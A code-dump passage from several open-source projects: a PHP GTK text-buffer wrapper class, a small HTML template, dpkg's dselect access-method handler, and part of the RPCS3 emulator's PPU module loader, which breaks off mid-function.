* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public
* License along with this library; if not, write to the
* Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
/**
* See the AUTHORS file for a list of people on the Gamuza Team.
* See the ChangeLog files for a list of changes.
* These files are distributed with gamuza_desktop-magento at http://github.com/gamuzatech/.
*/
/**
* Class TTextBuffer
*
* @property bool $Modified
* @property array $Text
*
* @property string|array $OnApplyTags
* @property string|array $OnBeginUserAction
* @property string|array $OnChanged
* @property string|array $OnDeleteRange
* @property string|array $OnEndUserAction
* @property string|array $OnInsertChildAnchor
* @property string|array $OnInsertPixbuf
* @property string|array $OnInsertText
* @property string|array $OnMarkDeleted
* @property string|array $OnMarkSet
* @property string|array $OnModifiedChanged
* @property string|array $OnRemoveTag
*/
class TTextBuffer extends System\TObject
{
/**
* Events
*/
public function __construct (/* [ TTextTagTable $tag_table = null ] */)
{
parent::__construct ();
$this->Handle = new GtkTextBuffer (/* $tag_table */ );
}
/**
* Methods
*/
public function AddSelectionClipboard (TClipboard $clipboard)
{
$this->Handle->add_selection_clipboard ($clipboard->Handle);
}
public function ApplyTag (TTextTag $tag, TTextIter $start, TTextIter $end)
{
$this->Handle->apply_tag ($tag->Handle, $start->Handle, $end->Handle);
}
public function ApplyTagByName (string $name, TTextIter $start, TTextIter $end)
{
$this->Handle->apply_tag_by_name ($name, $start->Handle, $end->Handle);
}
public function Backspace (TTextIter $iter, bool $interactive, bool $default_editable)
{
return $this->Handle->backspace ($iter->Handle, $interactive, $default_editable);
}
public function BeginUserAction ()
{
$this->Handle->begin_user_action ();
}
public function CopyClipboard (TClipboard $clipboard)
{
$this->Handle->copy_clipboard ($clipboard->Handle);
}
public function CreateChildAnchor (TTextIter $iter)
{
return $this->Handle->create_child_anchor ($iter->Handle);
}
public function CreateMark (string $name, TTextIter $location, bool $left_gravity)
{
return $this->Handle->create_mark ($name, $location, $left_gravity);
}
public function CutClipboard (TClipboard $clipboard, bool $default_editable)
{
return $this->Handle->cut_clipboard ($clipboard, $default_editable);
}
public function Delete (TTextIter $start, TTextIter $end)
{
$this->Handle->delete ($start->Handle, $end->Handle);
}
public function DeleteInteractive (TTextIter $start_iter, TTextIter $end_iter, bool $default_editable)
{
return $this->Handle->delete_interactive ($start_iter->Handle, $end_iter->Handle, $default_editable);
}
public function DeleteMark (TTextMark $mark)
{
$this->Handle->delete_mark ($mark->Handle);
}
public function DeleteMarkByName (string $name)
{
$this->Handle->delete_mark_by_name ($name);
}
public function DeleteSelection (bool $interactive, bool $default_editable)
{
return $this->Handle->delete_selection ($interactive, $default_interactive);
}
public function EndUserAction ()
{
$this->Handle->end_user_action ();
}
public function GetBounds (TTextIter $start, TTextIter $end)
{
$this->Handle->get_bounds ($start->Handle, $end->Handle);
}
public function GetCharCount ()
{
return $this->Handle->get_char_count ();
}
public function GetEndIter ()
{
$this->Handle->get_end_iter ();
}
public function GetInsert ()
{
return $this->Handle->get_insert ();
}
public function GetIterAtChildAnchor (TTextChildAnchor $anchor)
{
return $this->Handle->get_iter_at_child_anchor ($anchor);
}
public function GetIterAtLine (int $line_number)
{
return $this->Handle->get_iter_at_line ($line_number);
}
public function GetIterAtLineIndex (int $line_number, int $byte_offset)
{
return $this->Handle->getIter_at_line_index ($line_number, $byte_offset);
}
public function GetIterAtLineOffset (int $line_number, int $char_offset)
{
return $this->Handle->get_iter_at_line_offset ($line_number, $char_offset);
}
public function GetIterAtMark (TTextMark $mark)
{
return $this->Handle->get_iter_at_mark ($mark);
}
public function GetIterAtOffset (int $char_offset)
{
return $this->Handle->get_iter_at_offset ($char_offset);
}
public function GetLineCount ()
{
return $this->Handle->get_line_count ();
}
public function GetMark (string $name)
{
return $this->Handle->get_mark ($name);
}
public function GetModified ()
{
return $this->Handle->get_modified ();
}
public function GetSelectionBounds (TTextIter $start, TTextIter $end)
{
return $this->Handle->get_selection_bounds ($start->Handle, $end->Handle);
}
public function GetSlice (TTextIter $start, TTextIter $end, bool $include_hidden_chars)
{
return $this->Handle->get_slice ($start->Handle, $end->Handle, $include_hidden_chars);
}
public function GetStartIter ()
{
return $this->Handle->get_start_iter ();
}
public function GetTagTable ()
{
return $this->Handle->get_tag_table ();
}
public function GetText (TTextIter $start, TTextIter $end, bool $include_hidden_chars)
{
return $this->Handle->get_text ($start->Handle, $end->Handle, $include_hidden_chars);
}
public function Insert (TTextIter $iter, string $text, int $len)
{
$this->Handle->insert ($iter->Handle, $text, $len);
}
public function InsertAtCursor (string $text, /* int */ $len = -1)
{
$this->Handle->insert_at_cursor ($text, $len);
}
public function InsertChildAnchor (TTextIter $iter, TTextChildAnchor $anchor)
{
$this->Handle->insert_child_anchor ($iter->Handle, $anchor->Handle);
}
public function InsertInteractive (TTextIter $iter, string $text, int $len, bool $default_editable)
{
return $this->Handle->insert_interactive ($iter->Handle, $text, $len, $default_editable);
}
public function InsertInteractiveAtCursor (string $text, int $len, bool $default_editable)
{
return $this->handle->insert_interactive_at_cursor ($text, $len, $default_editable);
}
public function InsertPixbuf (TTextIter $location, GdkPixbuf $image)
{
$this->Handle->insert_pixbuf ($location, $image);
}
public function InsertRange (TTextIter $iter, TTextIter $start, TTextIter $end)
{
$this->Handle->insert_range ($iter->Handle, $start->Handle, $end->Handle);
}
public function InsertRangeInteractive (TTextIter $iter, TTextIter $start, TTextIter $end, bool $default_editable)
{
return $this->Handle->insert_range_interactive ($iter->Handle, $start->Handle, $end->Handle, $default_editable);
}
public function MoveMark (TTextMark $mark, TTextIter $where)
{
$this->Handle->move_mark ($mark->Handle, $where->Handle);
}
public function MoveMarkByName (string $name, TTextIter $where)
{
$this->Handle->move_mark_by_name ($name, $where->Handle);
}
public function PasteClipboard (TClipboard $clipboard, TTextIter $override_location, bool $default_editable)
{
$this->Handle->paste_clipboard ($clipboard->Handle, $override_location->Handle, $default_editable);
}
public function PlaceCursor (TTextIter $where)
{
$this->Handle->place_cursor ($where->Handle);
}
public function RemoveAllTags (TTextIter $start, TTextIter $end)
{
$this->Handle->remove_all_tags ($start->Handle, $end->Handle);
}
public function RemoveSelectionClipboard (TClipboard $clipboard)
{
$this->Handle->remove_selection_clipboard ($clipboard->Handle);
}
public function RemoveTag (TTextTag $tag, TTextIter $start, TTextIter $end)
{
$this->Handle->remove_tag ($tag->Handle, $start->Handle, $end->Handle);
}
public function RemoveTagByName (string $name, TTextIter $start, TTextIter $end)
{
$this->Handle->remove_tag_by_name ($name, $start->Handle, $end->Handle);
}
public function SelectRange (TTextIter $ins, TTextIter $bound)
{
$this->Handle->select_range ($iter->Handle, $bound->Handle);
}
public function SetModified (bool $setting)
{
$this->Handle->set_modified ($setting);
}
public function SetText (string $text)
{
$this->Handle->set_text ($this->latin1 ($text));
}
/**
* Properties
*/
function __get ($var)
{
$result = null;
switch ($var)
{
case 'CharCount': { $result = $this->GetCharCount (); break; }
case 'EndIter': { $result = $this->GetEndIter (); break; }
case 'Insert': { $result = $this->GetInsert (); break; }
case 'Modified': { $result = $this->GetLabel (); break; }
case 'StartIter': { $result = $this->GetStartIter (); break; }
case 'TagTable': { $result = $this->GetTagTable (); break; }
default: { $result = parent::__get ($var); }
}
return $result;
}
function __set ($var, $val)
{
switch ($var)
{
case 'Modified': { $this->SetModified ($val); break; }
case 'Text': { $this->SetText ($val); break; }
default: { parent::__set ($var, $val); }
}
}
}
|
gamuzatech/gamuza_desktop-magento
|
lib/Gamuza/Desktop/Gtk/TTextBuffer.php
|
PHP
|
gpl-2.0
| 10,763
|
<div class='lotusjeff_showtemplate'>simple_footer_after</div>
|
LotusJeff/showtemplate
|
styles/all/template/event/simple_footer_after.html
|
HTML
|
gpl-2.0
| 62
|
/*
* dselect - Debian package maintenance user interface
* method.cc - access method handling
*
* Copyright © 1995 Ian Jackson <ijackson@chiark.greenend.org.uk>
* Copyright © 2001,2002 Wichert Akkerman <wakkerma@debian.org>
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#include <config.h>
#include <compat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <sys/wait.h>
#include <errno.h>
#include <limits.h>
#include <string.h>
#include <fcntl.h>
#include <dirent.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <dpkg/i18n.h>
#include <dpkg/dpkg.h>
#include <dpkg/dpkg-db.h>
#include <dpkg/subproc.h>
#include <dpkg/command.h>
#include "dselect.h"
#include "method.h"
static const char *const methoddirectories[]= {
LIBDIR "/" METHODSDIR,
LOCALLIBDIR "/" METHODSDIR,
nullptr
};
static char *methodlockfile = nullptr;
static int methlockfd= -1;
static void
sthfailed(const char * reasoning)
{
curseson();
clear();
printw("\n\n%s: %s\n", DSELECT, reasoning);
attrset(A_BOLD);
addstr(_("\nPress <enter> to continue."));
attrset(A_NORMAL);
refresh(); getch();
}
static void cu_unlockmethod(int, void**) {
struct flock fl;
if (methodlockfile == NULL)
internerr("method lock file is NULL");
if (methlockfd < 0)
internerr("method lock fd is %d < 0", methlockfd);
fl.l_type=F_UNLCK; fl.l_whence= SEEK_SET; fl.l_start=fl.l_len=0;
if (fcntl(methlockfd,F_SETLK,&fl) == -1)
sthfailed(_("cannot unlock access method area"));
}
static enum urqresult ensureoptions(void) {
const char *const *ccpp;
dselect_option *newoptions;
int nread;
if (!options) {
newoptions = nullptr;
nread= 0;
for (ccpp= methoddirectories; *ccpp; ccpp++)
readmethods(*ccpp, &newoptions, &nread);
if (!newoptions) {
sthfailed(_("no access methods are available"));
return urqr_fail;
}
options= newoptions;
noptions= nread;
}
return urqr_normal;
}
static enum urqresult lockmethod(void) {
struct flock fl;
if (methodlockfile == nullptr)
methodlockfile = dpkg_db_get_path(METHLOCKFILE);
if (methlockfd == -1) {
methlockfd= open(methodlockfile, O_RDWR|O_CREAT|O_TRUNC, 0660);
if (methlockfd == -1) {
if ((errno == EPERM) || (errno == EACCES)) {
sthfailed(_("requested operation requires superuser privilege"));
return urqr_fail;
}
sthfailed(_("cannot open or create access method lockfile"));
return urqr_fail;
}
}
fl.l_type=F_WRLCK; fl.l_whence=SEEK_SET; fl.l_start=fl.l_len=0;
if (fcntl(methlockfd,F_SETLK,&fl) == -1) {
if (errno == EACCES || errno == EAGAIN) {
sthfailed(_("the access method area is already locked"));
return urqr_fail;
}
sthfailed(_("cannot lock access method area"));
return urqr_fail;
}
push_cleanup(cu_unlockmethod, ~0, 0);
return urqr_normal;
}
static urqresult
falliblesubprocess(struct command *cmd)
{
pid_t pid;
int i, c;
cursesoff();
subproc_signals_ignore(cmd->name);
pid = subproc_fork();
if (pid == 0) {
subproc_signals_cleanup(0, nullptr);
command_exec(cmd);
}
fprintf(stderr, "\n");
i = subproc_reap(pid, cmd->name, SUBPROC_WARN);
subproc_signals_restore();
if (i == 0) {
sleep(1);
return urqr_normal;
}
fprintf(stderr,_("Press <enter> to continue.\n"));
m_output(stderr, _("<standard error>"));
do {
c = fgetc(stdin);
} while ((c == EOF && errno == EINTR) || (c != '\n' && c != EOF));
if (c == EOF)
ohshite(_("error reading acknowledgement of program failure message"));
return urqr_fail;
}
static urqresult runscript(const char *exepath, const char *name) {
urqresult ur;
ur= ensureoptions(); if (ur != urqr_normal) return ur;
ur=lockmethod(); if (ur != urqr_normal) return ur;
getcurrentopt();
if (coption) {
struct command cmd;
strcpy(coption->meth->pathinmeth,exepath);
command_init(&cmd, coption->meth->path, name);
command_add_args(&cmd, exepath, dpkg_db_get_dir(),
coption->meth->name, coption->name, nullptr);
ur = falliblesubprocess(&cmd);
command_destroy(&cmd);
} else {
sthfailed(_("no access method is selected or configured"));
ur= urqr_fail;
}
pop_cleanup(ehflag_normaltidy);
return ur;
}
urqresult urq_update(void) {
return runscript(METHODUPDATESCRIPT,_("update available list script"));
}
urqresult urq_install(void) {
return runscript(METHODINSTALLSCRIPT,_("installation script"));
}
static urqresult rundpkgauto(const char *name, const char *dpkgmode) {
urqresult ur;
struct command cmd;
command_init(&cmd, DPKG, name);
command_add_args(&cmd, DPKG, "--admindir", dpkg_db_get_dir(), "--pending",
dpkgmode, nullptr);
cursesoff();
printf("running dpkg --pending %s ...\n",dpkgmode);
fflush(stdout);
ur = falliblesubprocess(&cmd);
command_destroy(&cmd);
return ur;
}
urqresult urq_remove(void) {
return rundpkgauto("dpkg --remove","--remove");
}
urqresult urq_config(void) {
return rundpkgauto("dpkg --configure","--configure");
}
urqresult urq_setup(void) {
quitaction qa;
urqresult ur;
ur= ensureoptions(); if (ur != urqr_normal) return ur;
ur=lockmethod(); if (ur != urqr_normal) return ur;
getcurrentopt();
curseson();
methodlist *l= new methodlist();
qa= l->display();
delete l;
if (qa == qa_quitchecksave) {
struct command cmd;
strcpy(coption->meth->pathinmeth,METHODSETUPSCRIPT);
command_init(&cmd, coption->meth->path, _("query/setup script"));
command_add_args(&cmd, METHODSETUPSCRIPT, dpkg_db_get_dir(),
coption->meth->name, coption->name, nullptr);
ur = falliblesubprocess(&cmd);
command_destroy(&cmd);
if (ur == urqr_normal) writecurrentopt();
} else {
ur= urqr_fail;
}
pop_cleanup(ehflag_normaltidy);
return ur;
}
|
pexip/os-dpkg
|
dselect/method.cc
|
C++
|
gpl-2.0
| 6,514
|
#include "stdafx.h"
#include "Utilities/VirtualMemory.h"
#include "Crypto/sha1.h"
#include "Crypto/unself.h"
#include "Loader/ELF.h"
#include "Emu/System.h"
#include "Emu/IdManager.h"
#include "Emu/Cell/PPUOpcodes.h"
#include "Emu/Cell/PPUModule.h"
#include "Emu/Cell/PPUAnalyser.h"
#include "Emu/Cell/lv2/sys_prx.h"
#include <map>
#include <set>
#include <algorithm>
namespace vm { using namespace ps3; }
extern void ppu_initialize_syscalls();
extern std::string ppu_get_function_name(const std::string& module, u32 fnid);
extern std::string ppu_get_variable_name(const std::string& module, u32 vnid);
extern void ppu_register_range(u32 addr, u32 size);
extern void ppu_register_function_at(u32 addr, u32 size, ppu_function_t ptr);
extern void ppu_initialize(const ppu_module& info);
extern void ppu_initialize();
extern void sys_initialize_tls(ppu_thread&, u64, u32, u32, u32);
extern u32 g_ps3_sdk_version;
// HLE function name cache
std::vector<std::string> g_ppu_function_names;
template <>
void fmt_class_string<lib_loading_type>::format(std::string& out, u64 arg)
{
format_enum(out, arg, [](lib_loading_type value)
{
switch (value)
{
case lib_loading_type::automatic: return "Automatically load required libraries";
case lib_loading_type::manual: return "Manually load selected libraries";
case lib_loading_type::both: return "Load automatic and manual selection";
case lib_loading_type::liblv2only: return "Load liblv2.sprx only";
}
return unknown;
});
}
extern u32 ppu_generate_id(const char* name)
{
// Symbol name suffix
const auto suffix = "\x67\x59\x65\x99\x04\x25\x04\x90\x56\x64\x27\x49\x94\x89\x74\x1A";
sha1_context ctx;
u8 output[20];
// Compute SHA-1 hash
sha1_starts(&ctx);
sha1_update(&ctx, reinterpret_cast<const u8*>(name), std::strlen(name));
sha1_update(&ctx, reinterpret_cast<const u8*>(suffix), std::strlen(suffix));
sha1_finish(&ctx, output);
return reinterpret_cast<le_t<u32>&>(output[0]);
}
ppu_static_module::ppu_static_module(const char* name)
: name(name)
{
ppu_module_manager::register_module(this);
}
std::unordered_map<std::string, ppu_static_module*>& ppu_module_manager::access()
{
static std::unordered_map<std::string, ppu_static_module*> map;
return map;
}
void ppu_module_manager::register_module(ppu_static_module* module)
{
access().emplace(module->name, module);
}
ppu_static_function& ppu_module_manager::access_static_function(const char* module, u32 fnid)
{
return access().at(module)->functions[fnid];
}
ppu_static_variable& ppu_module_manager::access_static_variable(const char* module, u32 vnid)
{
return access().at(module)->variables[vnid];
}
const ppu_static_module* ppu_module_manager::get_module(const std::string& name)
{
const auto& map = access();
const auto found = map.find(name);
return found != map.end() ? found->second : nullptr;
}
// Global linkage information
struct ppu_linkage_info
{
struct module
{
struct info
{
bool hle = false;
u32 export_addr = 0;
std::set<u32> imports;
};
// FNID -> (export; [imports...])
std::unordered_map<u32, info, value_hash<u32>> functions;
std::unordered_map<u32, info, value_hash<u32>> variables;
bool imported = false;
};
// Module map
std::unordered_map<std::string, module> modules;
};
// Initialize static modules.
static void ppu_initialize_modules(const std::shared_ptr<ppu_linkage_info>& link)
{
ppu_initialize_syscalls();
const std::initializer_list<const ppu_static_module*> registered
{
&ppu_module_manager::cellAdec,
&ppu_module_manager::cellAtrac,
&ppu_module_manager::cellAtracMulti,
&ppu_module_manager::cellAudio,
&ppu_module_manager::cellAvconfExt,
&ppu_module_manager::cellBGDL,
&ppu_module_manager::cellCamera,
&ppu_module_manager::cellCelp8Enc,
&ppu_module_manager::cellCelpEnc,
&ppu_module_manager::cellCrossController,
&ppu_module_manager::cellDaisy,
&ppu_module_manager::cellDmux,
&ppu_module_manager::cellFiber,
&ppu_module_manager::cellFont,
&ppu_module_manager::cellFontFT,
&ppu_module_manager::cell_FreeType2,
&ppu_module_manager::cellFs,
&ppu_module_manager::cellGame,
&ppu_module_manager::cellGameExec,
&ppu_module_manager::cellGcmSys,
&ppu_module_manager::cellGem,
&ppu_module_manager::cellGifDec,
&ppu_module_manager::cellHttp,
&ppu_module_manager::cellHttps,
&ppu_module_manager::cellHttpUtil,
&ppu_module_manager::cellImeJp,
&ppu_module_manager::cellJpgDec,
&ppu_module_manager::cellJpgEnc,
&ppu_module_manager::cellKey2char,
&ppu_module_manager::cellL10n,
&ppu_module_manager::cellLibprof,
&ppu_module_manager::cellMic,
&ppu_module_manager::cellMusic,
&ppu_module_manager::cellMusicDecode,
&ppu_module_manager::cellMusicExport,
&ppu_module_manager::cellNetCtl,
&ppu_module_manager::cellOskDialog,
&ppu_module_manager::cellOvis,
&ppu_module_manager::cellPamf,
&ppu_module_manager::cellPhotoDecode,
&ppu_module_manager::cellPhotoExport,
&ppu_module_manager::cellPhotoImportUtil,
&ppu_module_manager::cellPngDec,
&ppu_module_manager::cellPngEnc,
&ppu_module_manager::cellPrint,
&ppu_module_manager::cellRec,
&ppu_module_manager::cellRemotePlay,
&ppu_module_manager::cellResc,
&ppu_module_manager::cellRtc,
&ppu_module_manager::cellRtcAlarm,
&ppu_module_manager::cellRudp,
&ppu_module_manager::cellSail,
&ppu_module_manager::cellSailRec,
&ppu_module_manager::cellSaveData,
&ppu_module_manager::cellMinisSaveData,
&ppu_module_manager::cellScreenShot,
&ppu_module_manager::cellSearch,
&ppu_module_manager::cellSheap,
&ppu_module_manager::cellSpudll,
&ppu_module_manager::cellSpurs,
&ppu_module_manager::cellSpursJq,
&ppu_module_manager::cellSsl,
&ppu_module_manager::cellSubdisplay,
&ppu_module_manager::cellSync,
&ppu_module_manager::cellSync2,
&ppu_module_manager::cellSysconf,
&ppu_module_manager::cellSysmodule,
&ppu_module_manager::cellSysutil,
&ppu_module_manager::cellSysutilAp,
&ppu_module_manager::cellSysutilAvc,
&ppu_module_manager::cellSysutilAvc2,
&ppu_module_manager::cellSysutilNpEula,
&ppu_module_manager::cellSysutilMisc,
&ppu_module_manager::cellUsbd,
&ppu_module_manager::cellUsbPspcm,
&ppu_module_manager::cellUserInfo,
&ppu_module_manager::cellVdec,
&ppu_module_manager::cellVideoExport,
&ppu_module_manager::cellVideoUpload,
&ppu_module_manager::cellVoice,
&ppu_module_manager::cellVpost,
&ppu_module_manager::libmedi,
&ppu_module_manager::libmixer,
&ppu_module_manager::libsnd3,
&ppu_module_manager::libsynth2,
&ppu_module_manager::sceNp,
&ppu_module_manager::sceNp2,
&ppu_module_manager::sceNpClans,
&ppu_module_manager::sceNpCommerce2,
&ppu_module_manager::sceNpSns,
&ppu_module_manager::sceNpTrophy,
&ppu_module_manager::sceNpTus,
&ppu_module_manager::sceNpUtil,
&ppu_module_manager::sys_io,
&ppu_module_manager::libnet,
&ppu_module_manager::sysPrxForUser,
&ppu_module_manager::sys_libc,
&ppu_module_manager::sys_lv2dbg,
};
// Initialize double-purpose fake OPD array for HLE functions
const auto& hle_funcs = ppu_function_manager::get();
// Allocate memory for the array (must be called after fixed allocations)
ppu_function_manager::addr = vm::alloc(::size32(hle_funcs) * 8, vm::main);
// Initialize as PPU executable code
ppu_register_range(ppu_function_manager::addr, ::size32(hle_funcs) * 8);
// Fill the array (visible data: self address and function index)
for (u32 addr = ppu_function_manager::addr, index = 0; index < hle_funcs.size(); addr += 8, index++)
{
// Function address = current address, RTOC = BLR instruction for the interpreter
vm::ps3::write32(addr + 0, addr);
vm::ps3::write32(addr + 4, ppu_instructions::BLR());
// Register the HLE function directly
ppu_register_function_at(addr + 0, 4, hle_funcs[index]);
ppu_register_function_at(addr + 4, 4, nullptr);
}
// Set memory protection to read-only
vm::page_protect(ppu_function_manager::addr, ::align(::size32(hle_funcs) * 8, 0x1000), 0, 0, vm::page_writable);
// Initialize function names
const bool is_first = g_ppu_function_names.empty();
if (is_first)
{
g_ppu_function_names.resize(hle_funcs.size());
g_ppu_function_names[0] = "INVALID";
g_ppu_function_names[1] = "HLE RETURN";
}
// For HLE variable allocation
u32 alloc_addr = 0;
// "Use" all the modules for correct linkage
for (auto& module : registered)
{
LOG_TRACE(LOADER, "Registered static module: %s", module->name);
}
for (auto& pair : ppu_module_manager::get())
{
const auto module = pair.second;
auto& linkage = link->modules[module->name];
for (auto& function : module->functions)
{
LOG_TRACE(LOADER, "** 0x%08X: %s", function.first, function.second.name);
if (is_first)
{
g_ppu_function_names[function.second.index] = fmt::format("%s.%s", module->name, function.second.name);
}
if ((function.second.flags & MFF_HIDDEN) == 0)
{
auto& flink = linkage.functions[function.first];
flink.hle = true;
flink.export_addr = ppu_function_manager::addr + 8 * function.second.index;
}
}
for (auto& variable : module->variables)
{
LOG_TRACE(LOADER, "** &0x%08X: %s (size=0x%x, align=0x%x)", variable.first, variable.second.name, variable.second.size, variable.second.align);
// Allocate HLE variable
if (variable.second.size >= 4096 || variable.second.align >= 4096)
{
variable.second.var->set(vm::alloc(variable.second.size, vm::main, std::max<u32>(variable.second.align, 4096)));
}
else
{
const u32 next = ::align(alloc_addr, variable.second.align);
const u32 end = next + variable.second.size;
if (!next || (end >> 12 != alloc_addr >> 12))
{
alloc_addr = vm::alloc(4096, vm::main);
}
else
{
alloc_addr = next;
}
variable.second.var->set(alloc_addr);
alloc_addr += variable.second.size;
}
LOG_TRACE(LOADER, "Allocated HLE variable %s.%s at 0x%x", module->name, variable.second.name, variable.second.var->addr());
// Initialize HLE variable
if (variable.second.init)
{
variable.second.init();
}
auto& vlink = linkage.variables[variable.first];
vlink.hle = true;
vlink.export_addr = variable.second.var->addr();
}
}
}
// Link variable
static void ppu_patch_variable_refs(u32 vref, u32 vaddr)
{
struct vref_t
{
be_t<u32> type;
be_t<u32> addr;
be_t<u32> unk0;
};
for (auto ref = vm::ptr<vref_t>::make(vref); ref->type; ref++)
{
if (ref->unk0) LOG_ERROR(LOADER, "**** VREF(%u): Unknown values (0x%x, 0x%x)", ref->type, ref->addr, ref->unk0);
// OPs are probably similar to relocations
switch (u32 type = ref->type)
{
case 0x1:
{
const u32 value = vm::_ref<u32>(ref->addr) = vaddr;
LOG_WARNING(LOADER, "**** VREF(1): 0x%x <- 0x%x", ref->addr, value);
break;
}
case 0x4:
case 0x6:
default: LOG_ERROR(LOADER, "**** VREF(%u): Unknown/Illegal type (0x%x, 0x%x)", ref->type, ref->addr, ref->unk0);
}
}
}
// Export or import module struct
struct ppu_prx_module_info
{
u8 size;
u8 unk0;
be_t<u16> version;
be_t<u16> attributes;
be_t<u16> num_func;
be_t<u16> num_var;
be_t<u16> num_tlsvar;
u8 info_hash;
u8 info_tlshash;
u8 unk1[2];
vm::bcptr<char> name;
vm::bcptr<u32> nids; // Imported FNIDs, Exported NIDs
vm::bptr<u32> addrs;
vm::bcptr<u32> vnids; // Imported VNIDs
vm::bcptr<u32> vstubs;
be_t<u32> unk4;
be_t<u32> unk5;
};
// Load and register exports; return special exports found (nameless module)
static auto ppu_load_exports(const std::shared_ptr<ppu_linkage_info>& link, u32 exports_start, u32 exports_end)
{
std::unordered_map<u32, u32> result;
for (u32 addr = exports_start; addr < exports_end;)
{
const auto& lib = vm::_ref<const ppu_prx_module_info>(addr);
if (!lib.name)
{
// Set special exports
for (u32 i = 0, end = lib.num_func + lib.num_var; i < end; i++)
{
const u32 nid = lib.nids[i];
const u32 addr = lib.addrs[i];
if (i < lib.num_func)
{
LOG_NOTICE(LOADER, "** Special: [%s] at 0x%x", ppu_get_function_name({}, nid), addr);
}
else
{
LOG_NOTICE(LOADER, "** Special: &[%s] at 0x%x", ppu_get_variable_name({}, nid), addr);
}
result.emplace(nid, addr);
}
addr += lib.size ? lib.size : sizeof(ppu_prx_module_info);
continue;
}
const std::string module_name(lib.name.get_ptr());
LOG_NOTICE(LOADER, "** Exported module '%s' (0x%x, 0x%x, 0x%x, 0x%x)", module_name, lib.vnids, lib.vstubs, lib.unk4, lib.unk5);
if (lib.num_tlsvar)
{
LOG_FATAL(LOADER, "Unexpected num_tlsvar (%u)!", lib.num_tlsvar);
}
// Static module
const auto _sm = ppu_module_manager::get_module(module_name);
// Module linkage
auto& mlink = link->modules[module_name];
const auto fnids = +lib.nids;
const auto faddrs = +lib.addrs;
// Get functions
for (u32 i = 0, end = lib.num_func; i < end; i++)
{
const u32 fnid = fnids[i];
const u32 faddr = faddrs[i];
LOG_NOTICE(LOADER, "**** %s export: [%s] at 0x%x", module_name, ppu_get_function_name(module_name, fnid), faddr);
// Function linkage info
auto& flink = mlink.functions[fnid];
if (flink.export_addr && !flink.hle)
{
LOG_ERROR(LOADER, "Already linked function '%s' in module '%s'", ppu_get_function_name(module_name, fnid), module_name);
}
//else
{
// Static function
const auto _sf = _sm && _sm->functions.count(fnid) ? &_sm->functions.at(fnid) : nullptr;
if (_sf && (_sf->flags & MFF_FORCED_HLE))
{
// Inject a branch to the HLE implementation
const u32 _entry = vm::read32(faddr);
const u32 target = ppu_function_manager::addr + 8 * _sf->index;
if ((target <= _entry && _entry - target <= 0x2000000) || (target > _entry && target - _entry < 0x2000000))
{
// Use relative branch
vm::write32(_entry, ppu_instructions::B(target - _entry));
}
else if (target < 0x2000000)
{
// Use absolute branch if possible
vm::write32(_entry, ppu_instructions::B(target, true));
}
else
{
LOG_FATAL(LOADER, "Failed to patch function at 0x%x (0x%x)", _entry, target);
}
}
else
{
// Set exported function
flink.export_addr = faddr;
flink.hle = false;
// Fix imports
for (const u32 addr : flink.imports)
{
vm::write32(addr, faddr);
//LOG_WARNING(LOADER, "Exported function '%s' in module '%s'", ppu_get_function_name(module_name, fnid), module_name);
}
}
}
}
const auto vnids = lib.nids + lib.num_func;
const auto vaddrs = lib.addrs + lib.num_func;
// Get variables
for (u32 i = 0, end = lib.num_var; i < end; i++)
{
const u32 vnid = vnids[i];
const u32 vaddr = vaddrs[i];
LOG_NOTICE(LOADER, "**** %s export: &[%s] at 0x%x", module_name, ppu_get_variable_name(module_name, vnid), vaddr);
// Variable linkage info
auto& vlink = mlink.variables[vnid];
if (vlink.export_addr && !vlink.hle)
{
LOG_ERROR(LOADER, "Already linked variable '%s' in module '%s'", ppu_get_variable_name(module_name, vnid), module_name);
}
//else
{
// Set exported variable
vlink.export_addr = vaddr;
vlink.hle = false;
// Fix imports
for (const auto vref : vlink.imports)
{
ppu_patch_variable_refs(vref, vaddr);
//LOG_WARNING(LOADER, "Exported variable '%s' in module '%s'", ppu_get_variable_name(module_name, vnid), module_name);
}
}
}
addr += lib.size ? lib.size : sizeof(ppu_prx_module_info);
}
return result;
}
static void ppu_load_imports(const std::shared_ptr<ppu_linkage_info>& link, u32 imports_start, u32 imports_end)
{
for (u32 addr = imports_start; addr < imports_end;)
{
const auto& lib = vm::_ref<const ppu_prx_module_info>(addr);
const std::string module_name(lib.name.get_ptr());
LOG_NOTICE(LOADER, "** Imported module '%s' (0x%x, 0x%x)", module_name, lib.unk4, lib.unk5);
if (lib.num_tlsvar)
{
LOG_FATAL(LOADER, "Unexpected num_tlsvar (%u)!", lib.num_tlsvar);
}
// Static module
const auto _sm = ppu_module_manager::get_module(module_name);
// Module linkage
auto& mlink = link->modules[module_name];
const auto fnids = +lib.nids;
const auto faddrs = +lib.addrs;
for (u32 i = 0, end = lib.num_func; i < end; i++)
{
const u32 fnid = fnids[i];
const u32 fstub = faddrs[i];
const u32 faddr = (faddrs + i).addr();
LOG_NOTICE(LOADER, "**** %s import: [%s] -> 0x%x", module_name, ppu_get_function_name(module_name, fnid), fstub);
// Function linkage info
auto& flink = link->modules[module_name].functions[fnid];
// Add new import
flink.imports.emplace(faddr);
mlink.imported = true;
// Link if available
if (flink.export_addr)
{
vm::write32(faddr, flink.export_addr);
}
else
{
vm::write32(faddr, ppu_function_manager::addr);
}
//LOG_WARNING(LOADER, "Imported function '%s' in module '%s' (0x%x)", ppu_get_function_name(module_name, fnid), module_name, faddr);
}
const auto vnids = +lib.vnids;
const auto vstubs = +lib.vstubs;
for (u32 i = 0, end = lib.num_var; i < end; i++)
{
const u32 vnid = vnids[i];
const u32 vref = vstubs[i];
LOG_NOTICE(LOADER, "**** %s import: &[%s] (ref=*0x%x)", module_name, ppu_get_variable_name(module_name, vnid), vref);
// Variable linkage info
auto& vlink = link->modules[module_name].variables[vnid];
// Add new import
vlink.imports.emplace(vref);
mlink.imported = true;
// Link if available
if (vlink.export_addr)
{
